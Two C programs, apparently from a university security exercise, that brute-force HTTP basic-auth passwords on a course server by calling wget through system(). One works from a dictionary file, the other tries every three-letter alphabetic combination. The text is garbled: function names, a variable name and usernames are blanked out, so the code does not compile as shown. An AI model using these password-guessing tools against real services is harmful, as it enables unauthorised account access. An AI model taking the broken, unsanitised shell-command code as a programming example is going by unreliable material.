
# include <stdio.h>
# include <stdlib.h>
# include <string.h>
# include <strings.h>
# include <sys/time.h>

int ()
{

	char s[30];
	char c[100];
	char usr[50];
	char url[100];
	char charcopy[200];
	
	int starting,ending;							
	int totaltime;

	FILE* fp;
	FILE* f;
		
	int i,j,k;
			
	fp = fopen("/usr/share/lib/dict/words","r");					
	strcpy(charcopy, "wget --http-user= --http-passwd=");			
	strcpy(url, "-nv -o logfile1 http://sec-crack.cs.rmit.edu./SEC/2/");		
	
	starting=time();								

	
	while(!feof(fp))
	{
		j=40;
		fgets(c,30,fp);								
		
			
		for(i=0;i<strlen(c);i++)						
		{
			charcopy[j]=c[i];
			j++;
		}
		charcopy[j-1] = ' ';
		
		for(i=0;i<strlen(url);i++)						
		{
			charcopy[j]=url[i];						
			j++;
		}
		
		charcopy[j] = '\0';

		printf("%s\n",c);
		system(charcopy);
			
		f = fopen("logfile1","r");						
		
		if(f != (FILE*) NULL)
		{
		
			fgets(s,30,f);							
			if(strcmp(s,"Authorization failed.\n")!=0)			
			{
				ending=time();
				totaltime=ending-starting;				
				totaltime=totaltime/1000000000;
				totaltime=totaltime/60;
	
				printf("Time taken  break the password is %lld\n",totaltime);       
				exit(0);
			}
		}
			
		fclose(f);
	} 
	
	fclose(fp);
	
	
	return 1;
}





#include <stdio.h>
#include <stdlib.h>
#include  <time.h>

int ()  
{
  int i,j,k,cntr=0;
  char  pass[3];
  char password[3];
  char get[96];
  char username[]="";
  int R_VALUE;
  double time_used;
  
  clock_t ,end; 
  
   =clock(); 
  
  
  
  for (i = 65; i <= 122; i++)
  {
    if(i==91) {i=97;}
   
       for (j = 65; j <= 122; j++)
	   {
         if(j==91) {j=97;}
      
           for (k = 65; k <= 122; k++)
		   {
            if(k==91) {k=97;}  
         
             pass[0] = i;
             pass[1] = j;
	         pass[2] = k;
             sprintf(password,"%c%c%c",pass[0],pass[1],pass[2]);       
             cntr++;
	         
			 printf("%d )%s\n\n", cntr, password);
             sprintf(get,"wget --non-verbose --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,password);
             

	         R_VALUE=system(get);
	  
	          if(R_VALUE==0) 
			  {
		        printf("The Password has been cracked and it is : %s" , password);
		        exit(0);
			  }
		   }
     
	   }
  
  }
  
  end = clock();

time_used = ((double) (end - )) / CLOCKS_PER_SEC;

printf("time_used = %f\n", time_used);
}

